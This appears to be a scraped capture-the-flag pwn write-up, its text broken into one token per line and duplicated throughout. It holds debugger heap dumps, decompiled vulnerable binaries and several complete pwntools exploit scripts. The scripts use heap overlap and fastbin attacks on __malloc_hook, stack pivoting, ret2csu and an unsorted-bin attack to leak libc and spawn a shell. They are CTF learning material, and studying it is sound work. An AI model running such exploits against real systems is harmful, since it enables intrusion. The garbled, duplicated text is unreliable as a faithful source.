0x00000000000000000x55d4dd2c5090
:
0x0000000000000000
0x00000000000000000x55d4dd2c50a0
:
0x0000000000000000
0x00000000000000000x55d4dd2c50b0
:
0x0000000000000000
0x00000000000000000x55d4dd2c50c0
:
0x00000000000000a0
0x00000000000000200x55d4dd2c50d0
:
0x0000000000000000
0x00000000000000000x55d4dd2c50e0
:
0x0000000000000000
0x00000000000000210x55d4dd2c50f0
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
32gx
0x55d4dd2c50200x55d4dd2c5020
:
0x0000000000000020
0x00000000000000a10x55d4dd2c5030
:
0x00007f2fff3fab78
0x00007f2fff3fab780x55d4dd2c5040
:
0x0000000000000000
0x00000000000000a10x55d4dd2c5050
:
0x0000000000000000
0x00000000000000000x55d4dd2c5060
:
0x0000000000000000
0x00000000000000000x55d4dd2c5070
:
0x0000000000000000
0x00000000000000000x55d4dd2c5080
:
0x0000000000000000
0x00000000000000000x55d4dd2c5090
:
0x0000000000000000
0x00000000000000000x55d4dd2c50a0
:
0x0000000000000000
0x00000000000000000x55d4dd2c50b0
:
0x0000000000000000
0x00000000000000000x55d4dd2c50c0
:
0x00000000000000a0
0x00000000000000200x55d4dd2c50d0
:
0x0000000000000000
0x00000000000000000x55d4dd2c50e0
:
0x0000000000000000
0x00000000000000210x55d4dd2c50f0
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
32gx
0x5636130a70000x5636130a7000
:
0x0000000000000000
0x00000000000000210x5636130a7010
:
0x6161616161616161
0x61616161616161610x5636130a7020
:
0x0000000000000020
0x00000000000000a10x5636130a7030
:
0x0000000000000000
0x00000000000000000x5636130a7040
:
0x0000000000000000
0x00000000000000000x5636130a7050
:
0x0000000000000000
0x00000000000000000x5636130a7060
:
0x0000000000000000
0x00000000000000000x5636130a7070
:
0x0000000000000000
0x00000000000000000x5636130a7080
:
0x0000000000000000
0x00000000000000000x5636130a7090
:
0x0000000000000000
0x00000000000000000x5636130a70a0
:
0x0000000000000000
0x00000000000000000x5636130a70b0
:
0x0000000000000000
0x00000000000000000x5636130a70c0
:
0x0000000000000000
0x00000000000000210x5636130a70d0
:
0x0000000000000000
0x00000000000000000x5636130a70e0
:
0x0000000000000000
0x00000000000000210x5636130a70f0
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
32gx
0x5636130a70000x5636130a7000
:
0x0000000000000000
0x00000000000000210x5636130a7010
:
0x6161616161616161
0x61616161616161610x5636130a7020
:
0x0000000000000020
0x00000000000000a10x5636130a7030
:
0x0000000000000000
0x00000000000000000x5636130a7040
:
0x0000000000000000
0x00000000000000000x5636130a7050
:
0x0000000000000000
0x00000000000000000x5636130a7060
:
0x0000000000000000
0x00000000000000000x5636130a7070
:
0x0000000000000000
0x00000000000000000x5636130a7080
:
0x0000000000000000
0x00000000000000000x5636130a7090
:
0x0000000000000000
0x00000000000000000x5636130a70a0
:
0x0000000000000000
0x00000000000000000x5636130a70b0
:
0x0000000000000000
0x00000000000000000x5636130a70c0
:
0x0000000000000000
0x00000000000000210x5636130a70d0
:
0x0000000000000000
0x00000000000000000x5636130a70e0
:
0x0000000000000000
0x00000000000000210x5636130a70f0
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
32gx
0x557b9da9d0000x557b9da9d000
:
0x0000000000000000
0x00000000000000210x557b9da9d010
:
0x6161616161616161
0x61616161616161610x557b9da9d020
:
0x0000000000000020
0x00000000000000a10x557b9da9d030
:
0x0000000000000000
0x00000000000000000x557b9da9d040
:
0x0000000000000000
0x00000000000000a10x557b9da9d050
:
0x0000000000000000
0x00000000000000000x557b9da9d060
:
0x0000000000000000
0x00000000000000000x557b9da9d070
:
0x0000000000000000
0x00000000000000000x557b9da9d080
:
0x0000000000000000
0x00000000000000000x557b9da9d090
:
0x0000000000000000
0x00000000000000000x557b9da9d0a0
:
0x0000000000000000
0x00000000000000000x557b9da9d0b0
:
0x0000000000000000
0x00000000000000000x557b9da9d0c0
:
0x0000000000000000
0x00000000000000210x557b9da9d0d0
:
0x0000000000000000
0x00000000000000000x557b9da9d0e0
:
0x0000000000000000
0x00000000000000210x557b9da9d0f0
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
32gx
0x557b9da9d0000x557b9da9d000
:
0x0000000000000000
0x00000000000000210x557b9da9d010
:
0x6161616161616161
0x61616161616161610x557b9da9d020
:
0x0000000000000020
0x00000000000000a10x557b9da9d030
:
0x0000000000000000
0x00000000000000000x557b9da9d040
:
0x0000000000000000
0x00000000000000a10x557b9da9d050
:
0x0000000000000000
0x00000000000000000x557b9da9d060
:
0x0000000000000000
0x00000000000000000x557b9da9d070
:
0x0000000000000000
0x00000000000000000x557b9da9d080
:
0x0000000000000000
0x00000000000000000x557b9da9d090
:
0x0000000000000000
0x00000000000000000x557b9da9d0a0
:
0x0000000000000000
0x00000000000000000x557b9da9d0b0
:
0x0000000000000000
0x00000000000000000x557b9da9d0c0
:
0x0000000000000000
0x00000000000000210x557b9da9d0d0
:
0x0000000000000000
0x00000000000000000x557b9da9d0e0
:
0x0000000000000000
0x00000000000000210x557b9da9d0f0
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
64gx
0x5603487320000x560348732000
:
0x0000000000000000
0x00000000000000210x560348732010
:
0x6161616161616161
0x61616161616161610x560348732020
:
0x0000000000000020
0x00000000000000a10x560348732030
:
0x0000000000000000
0x00000000000000000x560348732040
:
0x0000000000000000
0x00000000000000a10x560348732050
:
0x00007f414af4fb78
0x00007f414af4fb780x560348732060
:
0x0000000000000000
0x00000000000000000x560348732070
:
0x0000000000000000
0x00000000000000000x560348732080
:
0x0000000000000000
0x00000000000000000x560348732090
:
0x0000000000000000
0x00000000000000000x5603487320a0
:
0x0000000000000000
0x00000000000000000x5603487320b0
:
0x0000000000000000
0x00000000000000000x5603487320c0
:
0x0000000000000000
0x00000000000000210x5603487320d0
:
0x0000000000000000
0x00000000000000000x5603487320e0
:
0x00000000000000a0
0x00000000000000200x5603487320f0
:
0x0000000000000000
0x00000000000000000x560348732100
:
0x0000000000000000
0x0000000000020f01
pwndbg> x
/
64gx
0x5603487320000x560348732000
:
0x0000000000000000
0x00000000000000210x560348732010
:
0x6161616161616161
0x61616161616161610x560348732020
:
0x0000000000000020
0x00000000000000a10x560348732030
:
0x0000000000000000
0x00000000000000000x560348732040
:
0x0000000000000000
0x00000000000000a10x560348732050
:
0x00007f414af4fb78
0x00007f414af4fb780x560348732060
:
0x0000000000000000
0x00000000000000000x560348732070
:
0x0000000000000000
0x00000000000000000x560348732080
:
0x0000000000000000
0x00000000000000000x560348732090
:
0x0000000000000000
0x00000000000000000x5603487320a0
:
0x0000000000000000
0x00000000000000000x5603487320b0
:
0x0000000000000000
0x00000000000000000x5603487320c0
:
0x0000000000000000
0x00000000000000210x5603487320d0
:
0x0000000000000000
0x00000000000000000x5603487320e0
:
0x00000000000000a0
0x00000000000000200x5603487320f0
:
0x0000000000000000
0x00000000000000000x560348732100
:
0x0000000000000000
0x0000000000020f01
[DEBUG] Received
0xf6
bytes:
00000000
63
6f
6e
74
65
6e
74
3a
20
00
00
00
00
00
00
00
│cont│ent:│ ···│····│
00000010
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
00000020
00
a1
00
00
00
00
00
00
00
78
0b
02
a4
3a
7f
00
│····│····│·x··│·:··│
00000030
00
78
0b
02
a4
3a
7f
00
00
00
00
00
00
00
00
00
│·x··│·:··│····│····│
[DEBUG] Received
0xf6
bytes:
00000000
63
6f
6e
74
65
6e
74
3a
20
00
00
00
00
00
00
00
│cont│ent:│ ···│····│
00000010
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
│····│····│····│····│
00000020
00
a1
00
00
00
00
00
00
00
78
0b
02
a4
3a
7f
00
│····│····│·x··│·:··│
00000030
00
78
0b
02
a4
3a
7f
00
00
00
00
00
00
00
00
00
│·x··│·:··│····│····│
pwndbg> x
/
32gx
0x556b562fd000
0x556b562fd000
:
0x0000000000000000
0x0000000000000021
0x556b562fd010
:
0x6161616161616161
0x6161616161616161
0x556b562fd020
:
0x0000000000000020
0x00000000000000a1
0x556b562fd030
:
0x0000000000000000
0x0000000000000000
0x556b562fd040
:
0x0000000000000000
0x0000000000000071
0x556b562fd050
:
0x0000000000000000
0x0000000000000000
0x556b562fd060
:
0x0000000000000000
0x0000000000000000
0x556b562fd070
:
0x0000000000000000
0x0000000000000000
0x556b562fd080
:
0x0000000000000000
0x0000000000000000
0x556b562fd090
:
0x0000000000000000
0x0000000000000000
0x556b562fd0a0
:
0x0000000000000000
0x0000000000000000
0x556b562fd0b0
:
0x0000000000000070
0x0000000000000021
0x556b562fd0c0
:
0x0000000000000000
0x0000000000000000
0x556b562fd0d0
:
0x0000000000000000
0x0000000000000000
0x556b562fd0e0
:
0x0000000000000000
0x0000000000000021
0x556b562fd0f0
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
32gx
0x556b562fd000
0x556b562fd000
:
0x0000000000000000
0x0000000000000021
0x556b562fd010
:
0x6161616161616161
0x6161616161616161
0x556b562fd020
:
0x0000000000000020
0x00000000000000a1
0x556b562fd030
:
0x0000000000000000
0x0000000000000000
0x556b562fd040
:
0x0000000000000000
0x0000000000000071
0x556b562fd050
:
0x0000000000000000
0x0000000000000000
0x556b562fd060
:
0x0000000000000000
0x0000000000000000
0x556b562fd070
:
0x0000000000000000
0x0000000000000000
0x556b562fd080
:
0x0000000000000000
0x0000000000000000
0x556b562fd090
:
0x0000000000000000
0x0000000000000000
0x556b562fd0a0
:
0x0000000000000000
0x0000000000000000
0x556b562fd0b0
:
0x0000000000000070
0x0000000000000021
0x556b562fd0c0
:
0x0000000000000000
0x0000000000000000
0x556b562fd0d0
:
0x0000000000000000
0x0000000000000000
0x556b562fd0e0
:
0x0000000000000000
0x0000000000000021
0x556b562fd0f0
:
0x0000000000000000
0x0000000000000000
pwndbg> binfastbins0x20:
0x00x30
:
0x00x40
:
0x00x50
:
0x00x60
:
0x00x70
:
0x560da9fda040
—▸
0x7f8c8e03eaed
(_IO_wide_data_0
+
301
) ◂—
0x8c8dcffea00000000x80
:
0x0unsortedbinall
:
0x0smallbinsemptylargebinsempty
pwndbg> binfastbins0x20:
0x00x30
:
0x00x40
:
0x00x50
:
0x00x60
:
0x00x70
:
0x560da9fda040
—▸
0x7f8c8e03eaed
(_IO_wide_data_0
+
301
) ◂—
0x8c8dcffea00000000x80
:
0x0unsortedbinall
:
0x0smallbinsemptylargebinsempty
Undefined command:
"0x7ffff7dd1b78"
. Try
"help"
.pwndbg> x
/
32gi
__realloc_hook
0x7ffff7a92a70
<realloc_hook_ini>: push r15
0x7ffff7a92a72
<realloc_hook_ini
+
2
>: push r14
0x7ffff7a92a74
<realloc_hook_ini
+
4
>: push r13
0x7ffff7a92a76
<realloc_hook_ini
+
6
>: push r12
Undefined command:
"0x7ffff7dd1b78"
. Try
"help"
.pwndbg> x
/
32gi
__realloc_hook
0x7ffff7a92a70
<realloc_hook_ini>: push r15
0x7ffff7a92a72
<realloc_hook_ini
+
2
>: push r14
0x7ffff7a92a74
<realloc_hook_ini
+
4
>: push r13
0x7ffff7a92a76
<realloc_hook_ini
+
6
>: push r12
from
pwn
import
*
#from LibcSearcher import *
#r=remote('node4.buuoj.cn',27823)
r
=
process(
'chunk1'
)
libc
=
ELF(
'./libc-2.23.so'
)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level
=
"debug"
def
add(size):
r.recvuntil(
'choice: '
)
r.sendline(
'1'
)
r.recvuntil(
'size:'
)
r.sendline(
str
(size))
def
edit(index,size,data):
r.recvuntil(
'choice: '
)
r.sendline(
'2'
)
r.recvuntil(
'index:'
)
r.sendline(
str
(index))
r.recvuntil(
'size:'
)
r.sendline(
str
(size))
r.recvuntil(
'content:'
)
r.send(data)
def
delete(index):
r.recvuntil(
'choice: '
)
r.sendline(
'3'
)
r.recvuntil(
'index:'
)
r.sendline(
str
(index))
def
show(index):
r.recvuntil(
'choice: '
)
r.sendline(
'4'
)
r.recvuntil(
'index:'
)
r.sendline(
str
(index))
add(
0x18
)
add(
0x10
)
add(
0x90
)
add(
0x10
)
#gdb.attach(r)
malloc_hook
=
libc.symbols[
'__malloc_hook'
]
realloc_hook
=
libc.symbols[
'realloc'
]
edit(
0
,
34
,
'a'
*
0x10
+
p64(
0x20
)
+
p8(
0xa1
))
edit(
2
,
0x80
,p64(
0
)
*
14
+
p64(
0xa0
)
+
p64(
0x21
))
delete(
1
)
add(
0x90
)
edit(
1
,
0x20
,p64(
0
)
*
2
+
p64(
0
)
+
p64(
0xa1
))
delete(
2
)
show(
1
)
r.recvuntil(
"content: "
)
r.recv(
0x20
)
libc_base
=
u64(r.recv(
6
).ljust(
8
,
"\x00"
))
-
0x3c4b78
print
(
hex
(libc_base))
add(
0x80
)
edit(
1
,
0x90
,p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x71
)
+
p64(
0
)
*
12
+
p64(
0x70
)
+
p64(
0x21
))
delete(
2
)
edit(
1
,
0x30
,p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x71
)
+
p64(malloc_hook
+
libc_base
-
0x23
)
*
2
)
one_gadgets
=
[
0x45216
,
0x4526a
,
0xf1147
,
0xf02a4
]
add(
0x60
)
#2
add(
0x60
)
#4
gdb.attach(r)
edit(
4
,
27
,
'a'
*
11
+
p64(libc_base
+
one_gadgets[
2
])
+
p64(libc_base
+
realloc_hook
+
4
))
gdb.attach(r)
#add(0x10)
add(
0x60
)
#5
r.interactive()
from
pwn
import
*
#from LibcSearcher import *
#r=remote('node4.buuoj.cn',27823)
r
=
process(
'chunk1'
)
libc
=
ELF(
'./libc-2.23.so'
)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level
=
"debug"
def
add(size):
r.recvuntil(
'choice: '
)
r.sendline(
'1'
)
r.recvuntil(
'size:'
)
r.sendline(
str
(size))
def
edit(index,size,data):
r.recvuntil(
'choice: '
)
r.sendline(
'2'
)
r.recvuntil(
'index:'
)
r.sendline(
str
(index))
r.recvuntil(
'size:'
)
r.sendline(
str
(size))
r.recvuntil(
'content:'
)
r.send(data)
def
delete(index):
r.recvuntil(
'choice: '
)
r.sendline(
'3'
)
r.recvuntil(
'index:'
)
r.sendline(
str
(index))
def
show(index):
r.recvuntil(
'choice: '
)
r.sendline(
'4'
)
r.recvuntil(
'index:'
)
r.sendline(
str
(index))
add(
0x18
)
add(
0x10
)
add(
0x90
)
add(
0x10
)
#gdb.attach(r)
malloc_hook
=
libc.symbols[
'__malloc_hook'
]
realloc_hook
=
libc.symbols[
'realloc'
]
edit(
0
,
34
,
'a'
*
0x10
+
p64(
0x20
)
+
p8(
0xa1
))
edit(
2
,
0x80
,p64(
0
)
*
14
+
p64(
0xa0
)
+
p64(
0x21
))
delete(
1
)
add(
0x90
)
edit(
1
,
0x20
,p64(
0
)
*
2
+
p64(
0
)
+
p64(
0xa1
))
delete(
2
)
show(
1
)
r.recvuntil(
"content: "
)
r.recv(
0x20
)
libc_base
=
u64(r.recv(
6
).ljust(
8
,
"\x00"
))
-
0x3c4b78
print
(
hex
(libc_base))
add(
0x80
)
edit(
1
,
0x90
,p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x71
)
+
p64(
0
)
*
12
+
p64(
0x70
)
+
p64(
0x21
))
delete(
2
)
edit(
1
,
0x30
,p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x71
)
+
p64(malloc_hook
+
libc_base
-
0x23
)
*
2
)
one_gadgets
=
[
0x45216
,
0x4526a
,
0xf1147
,
0xf02a4
]
add(
0x60
)
#2
add(
0x60
)
#4
gdb.attach(r)
edit(
4
,
27
,
'a'
*
11
+
p64(libc_base
+
one_gadgets[
2
])
+
p64(libc_base
+
realloc_hook
+
4
))
gdb.attach(r)
#add(0x10)
add(
0x60
)
#5
r.interactive()
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
char buf[
96
];
/
/
[rsp
+
0h
] [rbp
-
60h
] BYREF
setbuf(stdin,
0LL
);
setbuf(stdout,
0LL
);
puts(&s);
read(
0
, buf,
0x70uLL
);
puts(
"Done!You can check and use your borrow stack now!"
);
read(
0
, &bank,
0x100uLL
);
return
0
;
}
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
char buf[
96
];
/
/
[rsp
+
0h
] [rbp
-
60h
] BYREF
setbuf(stdin,
0LL
);
setbuf(stdout,
0LL
);
puts(&s);
read(
0
, buf,
0x70uLL
);
puts(
"Done!You can check and use your borrow stack now!"
);
read(
0
, &bank,
0x100uLL
);
return
0
;
}
'a'
*
变量的offset
+
p64(bss_addr)
+
p64(leave)
'a'
*
变量的offset
+
p64(bss_addr)
+
p64(leave)
from
pwn
import
*
io
=
remote(
'node.buuoj.cn'
,
'28257'
)
bank
=
0x0601080
leave
=
0x400699
puts_plt
=
0x04004E0
puts_got
=
0x0601018
pop_rdi
=
0x400703
main
=
0x0400626
ret
=
0x400704
io.recvuntil(
'u want'
)
pl1
=
'a'
*
0x60
+
p64(bank)
+
p64(leave)
io.send(pl1)
io.recvuntil(
'now!'
)
pl2
=
p64(ret)
*
20
+
p64(pop_rdi)
+
p64(puts_got)
+
p64(puts_plt)
+
p64(main)
io.send(pl2)
io.recvline()
puts_add
=
u64(io.recv(
6
).ljust(
8
,
'\x00'
))
libc_base
=
puts_add
-
0x06f690
one_gadget
=
libc_base
+
0x4526a
pl3
=
'a'
*
0x60
+
'bbbbbbbb'
+
p64(one_gadget)
io.send(pl3)
io.send(
'a'
)
io.interactive()
from
pwn
import
*
io
=
remote(
'node.buuoj.cn'
,
'28257'
)
bank
=
0x0601080
leave
=
0x400699
puts_plt
=
0x04004E0
puts_got
=
0x0601018
pop_rdi
=
0x400703
main
=
0x0400626
ret
=
0x400704
io.recvuntil(
'u want'
)
pl1
=
'a'
*
0x60
+
p64(bank)
+
p64(leave)
io.send(pl1)
io.recvuntil(
'now!'
)
pl2
=
p64(ret)
*
20
+
p64(pop_rdi)
+
p64(puts_got)
+
p64(puts_plt)
+
p64(main)
io.send(pl2)
io.recvline()
puts_add
=
u64(io.recv(
6
).ljust(
8
,
'\x00'
))
libc_base
=
puts_add
-
0x06f690
one_gadget
=
libc_base
+
0x4526a
pl3
=
'a'
*
0x60
+
'bbbbbbbb'
+
p64(one_gadget)
io.send(pl3)
io.send(
'a'
)
io.interactive()
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
char buf[
32
];
/
/
[rsp
+
0h
] [rbp
-
20h
] BYREF
init();
puts(
"input your name,user\n"
);
read(
0
, name,
0x58uLL
);
printf(
"hi %s\n"
, name);
puts(
"have you ever heard about _syscall_?"
);
puts(
"$rax matters a lot when it comes to _syscall_,ril_,right?"
);
puts(
"for example,syscall(0x3b,...) equals execve(...)"
);
puts(
"but i haven't figured out how they matched in detail ,so can you tell something about it?"
);
return
read(
0
, buf,
0x40uLL
);
}
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
char buf[
32
];
/
/
[rsp
+
0h
] [rbp
-
20h
] BYREF
init();
puts(
"input your name,user\n"
);
read(
0
, name,
0x58uLL
);
printf(
"hi %s\n"
, name);
puts(
"have you ever heard about _syscall_?"
);
puts(
"$rax matters a lot when it comes to _syscall_,ril_,right?"
);
puts(
"for example,syscall(0x3b,...) equals execve(...)"
);
puts(
"but i haven't figured out how they matched in detail ,so can you tell something about it?"
);
return
read(
0
, buf,
0x40uLL
);
}
def
ret_csu(r12, r13, r14, r15, last):
payload
=
offset
*
'a'
#构造栈溢出的padding
payload
+
=
p64(first_csu)
+
'a'
*
8
#gadgets1的地址
payload
+
=
p64(
0
)
+
p64(
1
)
#rbx=0, rbp=1
payload
+
=
p64(r12)
#call调用的地址
payload
+
=
p64(r13)
+
p64(r14)
+
p64(r15)
#三个参数的寄存器
payload
+
=
p64(second_csu)
#gadgets2的地址
payload
+
=
'a'
*
56
#pop出的padding
payload
+
=
p64(last)
#函数最后的返回地址
return
payload
def
ret_csu(r12, r13, r14, r15, last):
payload
=
offset
*
'a'
#构造栈溢出的padding
payload
+
=
p64(first_csu)
+
'a'
*
8
#gadgets1的地址
payload
+
=
p64(
0
)
+
p64(
1
)
#rbx=0, rbp=1
payload
+
=
p64(r12)
#call调用的地址
payload
+
=
p64(r13)
+
p64(r14)
+
p64(r15)
#三个参数的寄存器
payload
+
=
p64(second_csu)
#gadgets2的地址
payload
+
=
'a'
*
56
#pop出的padding
payload
+
=
p64(last)
#函数最后的返回地址
return
payload
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
char buf[
32
];
/
/
[rsp
+
0h
] [rbp
-
20h
] BYREF
vul(
0LL
,
0LL
,
0LL
);
read(
0
, buf,
0x100uLL
);
return
0
;
}
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
char buf[
32
];
/
/
[rsp
+
0h
] [rbp
-
20h
] BYREF
vul(
0LL
,
0LL
,
0LL
);
read(
0
, buf,
0x100uLL
);
return
0
;
}
from
pwn
import
*
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
sh
=
process(
"easycsu"
)
context.log_level
=
"DEBUG"
gadget1
=
0x00000000004011FE
gadget2
=
0x00000000004011E8
put_addr
=
0x0000000000404018
libc_addr
=
0x0000000000403ff0
start_addr
=
0x0000000000401050
payload
=
(
0x20
+
8
)
*
'a'
payload
+
=
p64(gadget1)
payload
+
=
'a'
*
8
payload
+
=
p64(
0
)
payload
+
=
p64(
1
)
payload
+
=
p64(put_addr)
payload
+
=
p64(
0x0000000000404018
)
+
p64(
0x0000000000404018
)
+
p64(
0x0000000000404018
)
payload
+
=
p64(gadget2)
payload
+
=
'a'
*
56
payload
+
=
p64(start_addr)
sh.recv()
sh.send(payload)
real_addr
=
u64(sh.recv(
6
).ljust(
8
,
'\x00'
))
print
hex
(real_addr)
addr_base
=
real_addr
-
libc.sym[
'puts'
]
print
(
hex
(libc.sym[
'puts'
]))
system_addr
=
addr_base
+
libc.sym[
'system'
]
binsh_addr
=
addr_base
+
0x1b3e1a
one
=
0x4f3d5
+
addr_base
pop_addr
=
0x000000000040120b
sh.recv()
#payload = (0x20 + 8) * 'a' + p64(pop_addr) + p64(binsh_addr) + p64(0x0000000000401016)+p64(system_addr)
payload
=
(
0x20
+
8
)
*
'a'
+
p64(one)
sh.send(payload)
sh.sendline(
'cat flag'
)
sh.interactive()
from
pwn
import
*
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
sh
=
process(
"easycsu"
)
context.log_level
=
"DEBUG"
gadget1
=
0x00000000004011FE
gadget2
=
0x00000000004011E8
put_addr
=
0x0000000000404018
libc_addr
=
0x0000000000403ff0
start_addr
=
0x0000000000401050
payload
=
(
0x20
+
8
)
*
'a'
payload
+
=
p64(gadget1)
payload
+
=
'a'
*
8
payload
+
=
p64(
0
)
payload
+
=
p64(
1
)
payload
+
=
p64(put_addr)
payload
+
=
p64(
0x0000000000404018
)
+
p64(
0x0000000000404018
)
+
p64(
0x0000000000404018
)
payload
+
=
p64(gadget2)
payload
+
=
'a'
*
56
payload
+
=
p64(start_addr)
sh.recv()
sh.send(payload)
real_addr
=
u64(sh.recv(
6
).ljust(
8
,
'\x00'
))
print
hex
(real_addr)
addr_base
=
real_addr
-
libc.sym[
'puts'
]
print
(
hex
(libc.sym[
'puts'
]))
system_addr
=
addr_base
+
libc.sym[
'system'
]
binsh_addr
=
addr_base
+
0x1b3e1a
one
=
0x4f3d5
+
addr_base
pop_addr
=
0x000000000040120b
sh.recv()
#payload = (0x20 + 8) * 'a' + p64(pop_addr) + p64(binsh_addr) + p64(0x0000000000401016)+p64(system_addr)
payload
=
(
0x20
+
8
)
*
'a'
+
p64(one)
sh.send(payload)
sh.sendline(
'cat flag'
)
sh.interactive()
int
__cdecl __noreturn main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
int
v3;
/
/
eax
char buf[
8
];
/
/
[rsp
+
0h
] [rbp
-
10h
] BYREF
unsigned __int64 v5;
/
/
[rsp
+
8h
] [rbp
-
8h
]
v5
=
__readfsqword(
0x28u
);
setvbuf(_bss_start,
0LL
,
2
,
0LL
);
setvbuf(stdin,
0LL
,
2
,
0LL
);
while
(
1
)
{
while
(
1
)
{
menu();
read(
0
, buf,
8uLL
);
v3
=
atoi(buf);
if
( v3 !
=
3
)
break
;
delete_heap();
}
if
( v3 >
3
)
{
if
( v3
=
=
4
)
exit(
0
);
if
( v3
=
=
4869
)
{
if
( (unsigned __int64)magic <
=
0x1305
)
{
puts(
"So sad !"
);
}
else
{
puts(
"Congrt !"
);
l33t();
}
}
else
{
LABEL_17:
puts(
"Invalid Choice"
);
}
}
else
if
( v3
=
=
1
)
{
create_heap();
}
else
{
if
( v3 !
=
2
)
goto LABEL_17;
edit_heap();
}
}
}
int
__cdecl __noreturn main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
int
v3;
/
/
eax
char buf[
8
];
/
/
[rsp
+
0h
] [rbp
-
10h
] BYREF
unsigned __int64 v5;
/
/
[rsp
+
8h
] [rbp
-
8h
]
v5
=
__readfsqword(
0x28u
);
setvbuf(_bss_start,
0LL
,
2
,
0LL
);
setvbuf(stdin,
0LL
,
2
,
0LL
);
while
(
1
)
{
while
(
1
)
{
menu();
read(
0
, buf,
8uLL
);
v3
=
atoi(buf);
if
( v3 !
=
3
)
break
;
delete_heap();
}
if
( v3 >
3
)
{
if
( v3
=
=
4
)
exit(
0
);
if
( v3
=
=
4869
)
{
if
( (unsigned __int64)magic <
=
0x1305
)
{
puts(
"So sad !"
);
}
else
{
puts(
"Congrt !"
);
l33t();
}
}
else
{
LABEL_17:
puts(
"Invalid Choice"
);
}
}
else
if
( v3
=
=
1
)
{
create_heap();
}
else
{
if
( v3 !
=
2
)
goto LABEL_17;
edit_heap();
}
}
}
int
edit_heap(){
int
v1;
/
/
[rsp
+
0h
] [rbp
-
10h
] char buf[
4
];
/
/
[rsp
+
4h
] [rbp
-
Ch] BYREF __int64 v3;
/
/
[rsp
+
8h
] [rbp
-
8h
] printf(
"Index :"
); read(
0
, buf,
4uLL
); v1
=
atoi(buf);
if
( v1 <
0
|| v1 >
9
) { puts(
"Out of bound!"
); _exit(
0
); }
if
( !heaparray[v1] )
return
puts(
"No such heap !"
); printf(
"Size of Heap : "
); read(
0
, buf,
8uLL
); v3
=
atoi(buf); printf(
"Content of heap : "
); read_input(heaparray[v1], v3);
return
puts(
"Done !"
);}
int
edit_heap(){
int
v1;
/
/
[rsp
+
0h
] [rbp
-
10h
] char buf[
4
];
/
/
[rsp
+
4h
] [rbp
-
Ch] BYREF __int64 v3;
/
/
[rsp
+
8h
] [rbp
-
8h
] printf(
"Index :"
); read(
0
, buf,
4uLL
); v1
=
atoi(buf);
if
( v1 <
0
|| v1 >
9
) { puts(
"Out of bound!"
); _exit(
0
); }
if
( !heaparray[v1] )
return
puts(
"No such heap !"
); printf(
"Size of Heap : "
); read(
0
, buf,
8uLL
); v3
=
atoi(buf); printf(
"Content of heap : "
); read_input(heaparray[v1], v3);
return
puts(
"Done !"
);}
add(
0x30
,
'woainio'
)add(
0x80
,
'ixixix'
)add(
0x10
,
'aihhhh'
)dele(
1
)
add(
0x30
,
'woainio'
)add(
0x80
,
'ixixix'
)add(
0x10
,
'aihhhh'
)dele(
1
)
unsorted_chunks(av)
-
>bk
=
bck
=
victim
-
>bk
=
magic
-
0x10
;bck
-
>fd
=
*
(magic
-
0x10
+
0x10
)
=
unsorted_chunks(av);
unsorted_chunks(av)
-
>bk
=
bck
=
victim
-
>bk
=
magic
-
0x10
;bck
-
>fd
=
*
(magic
-
0x10
+
0x10
)
=
unsorted_chunks(av);
from
pwn
import
*
context.log_level
=
'debug'
r
=
process(
'./magicheap'
)
#r=remote('node4.buuoj.cn','29824')def add(size,content): r.sendlineafter('Your choice :','1') r.sendlineafter('Size of Heap : ',str(size)) r.sendlineafter('Content of heap:',content)def edit(idx,size,content): r.sendlineafter('Your choice :','2') r.sendlineafter('Index :',str(idx)) r.sendafter('Size of Heap : ',str(size)) r.sendafter('Content of heap : ',content)def dele(idx): r.sendlineafter('Your choice :','3') r.sendlineafter('Index :',str(idx))magic=0x006020A0add(0x30,'1233')add(0x80,'12313')add(0x10,'123')dele(1)payload='a'*0x30+p64(0)+p64(0x91)+p64(magic-0x10)+p64(magic-0x10)edit(0,0x50,payload)gdb.attach(r)add(0x80,'1')r.sendlineafter(':','4869')r.interactive()
from
pwn
import
*
context.log_level
=
'debug'
r
=
process(
'./magicheap'
)
#r=remote('node4.buuoj.cn','29824')def add(size,content): r.sendlineafter('Your choice :','1') r.sendlineafter('Size of Heap : ',str(size)) r.sendlineafter('Content of heap:',content)def edit(idx,size,content): r.sendlineafter('Your choice :','2') r.sendlineafter('Index :',str(idx)) r.sendafter('Size of Heap : ',str(size)) r.sendafter('Content of heap : ',content)def dele(idx): r.sendlineafter('Your choice :','3') r.sendlineafter('Index :',str(idx))magic=0x006020A0add(0x30,'1233')add(0x80,'12313')add(0x10,'123')dele(1)payload='a'*0x30+p64(0)+p64(0x91)+p64(magic-0x10)+p64(magic-0x10)edit(0,0x50,payload)gdb.attach(r)add(0x80,'1')r.sendlineafter(':','4869')r.interactive()
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp){ char buf[
8
];
/
/
[rsp
+
0h
] [rbp
-
10h
] BYREF unsigned __int64 v5;
/
/
[rsp
+
8h
] [rbp
-
8h
] v5
=
__readfsqword(
0x28u
); setvbuf(_bss_start,
0LL
,
2
,
0LL
); setvbuf(stdin,
0LL
,
2
,
0LL
);
while
(
1
) { menu(); read(
0
, buf,
4uLL
